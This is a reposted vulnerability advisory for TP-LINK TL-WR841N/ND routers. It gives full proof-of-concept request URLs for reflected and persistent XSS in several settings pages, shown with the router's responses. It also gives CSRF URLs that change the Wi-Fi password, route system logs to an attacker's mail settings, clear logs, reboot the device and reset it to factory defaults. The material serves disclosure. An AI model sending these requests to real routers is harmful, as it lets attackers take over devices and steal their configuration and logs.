Advertisement
Mayk0

#; TP-LINK Model No. TL-WR841N / TL-WR841ND

Jun 30th, 2014
456
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.83 KB | None | 0 0
  1. TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
  2. [ Home ] [ Description ]
  3. /////////////////////////////////////////////////////////////////
  4.  
  5. Full title TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
  6. Date add 2014-06-30
  7. Category web applications
  8. Platform hardware
  9. Risk [<font color="#FFBF00">Security Risk High</font>]
  10. Vendor tplink.com
  11. Affected ver TL-WR841N / TL-WR841ND
  12. Tested on Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
  13. Solution CSRF prevention mechanism and solid parameters filtration.
  14. =========================================================
  15. Description:
  16. TP-LINK TL-WR841N / TL-WR841ND are vulnerable to many CSRF and XSS attacks because of no CSRF prevention technique and poor parameters filtration. Attacker is able to compromise router and steal config & log files.
  17. ---------------------------------------------------------
  18.  
  19. #Title: TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
  20. #Date: 30.06.14
  21. #Vendor: TP-LINK
  22. #Affected versions: TL-WR841N / TL-WR841ND
  23. #Tested on: Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
  24. #Contact: smash [at] devilteam.pl
  25.  
  26. #1 - Reflected XSS in Wireless Settings
  27.  
  28. Vulnerable parameters - ssid1, ssid2, ssid3, ssid4.
  29.  
  30. Variables of ssid parameters are being included to wlanPara array. Because of poor filtration of those values, it is able to execute specific javascript command as shown below.
  31.  
  32. While system log and config is being saved as local file (http://192.168.0.1/userRpm/SystemLog.txt & http://192.168.0.1/userRpm/config.bin), it is able to hjiack both via xss.
  33.  
  34. Request:
  35. http://192.168.0.1/userRpm/WlanNetworkRpm.htm?ssid1=ROUTERNAME</script><script>alert(123)</script>&ssid2=ROUTERNAME_2&ssid3=ROUTERNAME_3&ssid4=ROUTERNAME_4&region=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save
  36.  
  37. Response:
  38. HTTP/1.1 200 OK
  39. Server: Router Webserver
  40. Connection: close
  41. Content-Type: text/html
  42. WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
  43. (...)
  44. <SCRIPT language="javascript" type="text/javascript">
  45. var wlanPara = new Array(
  46. 0,8,0,"ROUTERNAME</script><script>alert(123)</script>",108,101,1,5,1,1,15,2,71,0,0,0,"cript>","ROUTERNAME_3","ROUTERNAME_4",691810163,0,0,0,"","",1,"",1,1,3,3,0,1,1,36,0,0,"","","","","","","","",1,"",0,"","",1,0,0,1,0,1,0,0 );
  47. </SCRIPT>
  48.  
  49. #2 - Persistent XSS & CSRF in Wireless Security Settings
  50.  
  51. Vulnerable parameter - pskSecret.
  52.  
  53. Same as above, variable of pskSecret (password) is being included in javascript array. Because of no CSRF prevention, it is able to change the password by visiting url below. pskSecret value is responsible for further password.
  54.  
  55. Request:
  56. http://192.168.0.1/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=2&pskCipher=3&pskSecret=test&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save
  57.  
  58. Response:
  59. HTTP/1.1 200 OK
  60. Server: Router Webserver
  61. Connection: close
  62. Content-Type: text/html
  63. WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
  64.  
  65. <SCRIPT language="javascript" type="text/javascript">
  66. var wlanPara = new Array(
  67. 8, 1, 3, "332", 1, 0, "", 1812, "", "</script><script>alert(123)</script>", 1, 0, 0, 1, 3, 0, 0, 0, 5, 0, 1, "", 1,
  68. 0,0 );
  69. </SCRIPT>
  70.  
  71. #3 - Persistent XSS & CSRF in Mail Settings
  72.  
  73. Vulnerable parameters - FromAddr, ToAddr, SMTPAddr.
  74.  
  75. Reason is the same.
  76.  
  77. Request:
  78. http://192.168.0.1/userRpm/AutoEmailRpm.htm?FromAddr=test%40test.com&ToAddr=test1%40test.com&SMTPAddr=</script><script>alert(123)</script>&User=&Password=&VeriPass=&Save=Save
  79.  
  80. Response:
  81. HTTP/1.1 200 OK
  82. Server: Router Webserver
  83. Connection: close
  84. Content-Type: text/html
  85. WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
  86.  
  87. <SCRIPT language="javascript" type="text/javascript">
  88. var autoEmailConf = new Array(
  89. "test@test.com",
  90. "test1@test.com",
  91. "</script><script>alert(123)</script>",
  92. 0,
  93. "",
  94. 0,
  95. 0,
  96. 0,
  97. 0,
  98. 0,0 );
  99. </SCRIPT>
  100.  
  101. It is able to steal system logs by forcing our victim to set our mail settings via csrf, then logs will be send after visiting address below:
  102. http://192.168.0.1/userRpm/SystemLogRpm.htm?doMailLog=2
  103.  
  104. #4 - Persistent XSS & CSRF in Time Settings
  105.  
  106. Vulnerable parameters - ntpA & ntpB.
  107.  
  108. Request:
  109. http://192.168.0.1/userRpm/DateTimeCfgRpm.htm?timezone=0&month=7&day=1&year=2014&hour=2&minute=44&second=18&ntpA=</script><script>xssed<>&ntpB=&isTimeChanged=0&start_month=0&start_count=0&start_week=1&start_hour=0&end_month=0&end_count=0&end_week=1&end_hour=0&isDaylightSavingChanged=0&Save=Save
  110.  
  111. Response:
  112. HTTP/1.1 200 OK
  113. Server: Router Webserver
  114. Connection: close
  115. Content-Type: text/html
  116. WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
  117.  
  118. <SCRIPT language="javascript" type="text/javascript">
  119. var timeInf = new Array(
  120. 7,
  121. 1,
  122. 2014,
  123. 2,
  124. 58,
  125. 52,
  126. 0,
  127. "</script>xssed<>",
  128. "0.0.0.0",
  129. 2,
  130. 2,
  131. 0,
  132. 2,
  133. 10,
  134. 1,
  135. 0,
  136. 3,
  137. 0,
  138. 0,
  139. 0,0 );
  140. </SCRIPT>
  141.  
  142. #5 - Persistent XSS & CSRF in Dynamic DNS settings
  143.  
  144. Vulnerable parameters - username, password, cliUrl.
  145.  
  146. Request:
  147. http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=</script><script>alert(123)</script>&pwd=password&cliUrl=&Save=Save
  148.  
  149. Response:
  150. HTTP/1.1 200 OK
  151. Server: Router Webserver
  152. Connection: close
  153. Content-Type: text/html
  154. WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
  155.  
  156. <SCRIPT language="javascript" type="text/javascript">
  157. var serInf = new Array(
  158. "</script><script>alert(123)</script>",
  159. "password",
  160. "",
  161. 0,
  162. 0,
  163. 3,
  164. 2,
  165. 0,
  166. 1,
  167. 0,0 );
  168. </SCRIPT>
  169.  
  170. #6 - Persistent XSS & CSRF in DHCP settings
  171.  
  172. Vulnerable parameter - domain.
  173.  
  174. Request:
  175. http://192.168.0.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=</script>xssed<>&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save
  176.  
  177. Response:
  178. HTTP/1.1 200 OK
  179. Server: Router Webserver
  180. Connection: close
  181. Content-Type: text/html
  182. WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
  183.  
  184. <SCRIPT language="javascript" type="text/javascript">
  185. var DHCPPara = new Array(
  186. 1,
  187. "192.168.0.100",
  188. "192.168.0.199",
  189. 120,
  190. "192.168.0.1",
  191. "</script>xssed<>",
  192. "0.0.0.0",
  193. "0.0.0.0",
  194. 1,
  195. 0,0 );
  196. </SCRIPT>
  197.  
  198. #7 - Other CSRF's
  199.  
  200. a) Clear system logs
  201.  
  202. http://192.168.0.1/userRpm/SystemLogRpm.htm?logType=0&logLevel=7&ClearLog=Clear+Log&selPage=1&Page=1
  203.  
  204. b) Reboot device
  205.  
  206. http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reboot
  207.  
  208. c) Factory defaults reset (admin:admin)
  209.  
  210. http://192.168.0.1/userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore
  211.  
  212. Actually, there is no prevention technique to avoid csrf in this one; bug's pointed above are most interesting.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement